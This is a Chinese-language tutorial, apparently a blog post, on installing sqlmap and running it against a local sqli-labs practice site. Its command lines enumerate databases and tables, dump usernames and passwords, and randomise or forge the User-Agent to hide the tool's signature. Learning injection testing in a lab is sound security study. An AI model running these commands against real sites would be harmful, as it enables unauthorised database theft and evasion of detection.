Sqlmap工具下载及使用

一、Sqlmap

sqlmap是一款开源的自动化SQL注入测试工具，主要用于检测和利用Web应用程序中的SQL注入漏洞。它支持多种数据库类型（如MySQL、Oracle、SQL Server等），能自动识别注入点，并通过多种技术手段获取数据库信息，包括表结构、数据内容，甚至能执行操作系统命令等。其操作相对简便，通过命令行参数配置目标URL、请求方式等信息，即可自动完成注入测试流程，广泛应用于网络安全渗透测试和漏洞评估场景。

二、下载

• 官网：https://sqlmap.org/

• github地址：https://github.com/sqlmapproject/sqlmap

• 国内可下载地址：https://gitee.com/yijingsec/sqlmap

三、使用

1. 进入sqlmap目录
   
2. 在路径输入cmd
   
3. 输入conda env list，查看环境。
   
4. 根据拥有的环境输入以下命令，出现如图所示界面，即配置成功。
   

A.注入GET型

1. url里只有一个参数（引号可不加）

python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1”

2. url里有两个参数（加引号）

python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1&page=10” -p page

3. 自动化测试：--batch

python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1” -batch

4. 获取库名：--dbs

python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1” -batch -dbs

5. 获取表名：--tables，指定数据库：-D

python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1” -batch -tables -D security

6. 获取列名：--columns，指定数据表：-T

python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1” -batch -columns -D security -T users

7. 获取数据（拖库，实战中禁用慎用）：--dump，指定列名：-C

python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1” -batch -D security -T users -C id,username,password -dump

8. GET型注入ua头会带有明显的Sqlmap标识

python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1” -proxy=http://127.0.0.1:8080 -batch -D security -T users -C id,username,password -dump

• 随机使用User-agent头：–random-agent

python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1” -proxy=http://127.0.0.1:8080 -random-agent -batch -D security -T users -C id,username,password -dump

• 自定义使用ua头

python sqlmap.py -u http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1 --proxy=http://127.0.0.1:8080 --user-agent=“Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0” -batch -D security -T users -C id,username,password -dump

B.注入POST型

1. 打开第11关并打开代理，随意输入数字后点击提交。
   

2. 找到对应数据包，右击复制到文件并保存。
   
   

3. 测试文件是否存在漏洞。
   

C.注入head头

sqlmap默认测试所有的get和post参数，level值>2时也会测试cookie头的值，>=3时也会测试User-Agent和Referer头的值，最高可到5。

python sqlmap.py -u http://127.0.0.1/sqli-labs/sqli-labs-master/Less-20/in dex.php --cookie “uname=Dump” --level 2 --dbs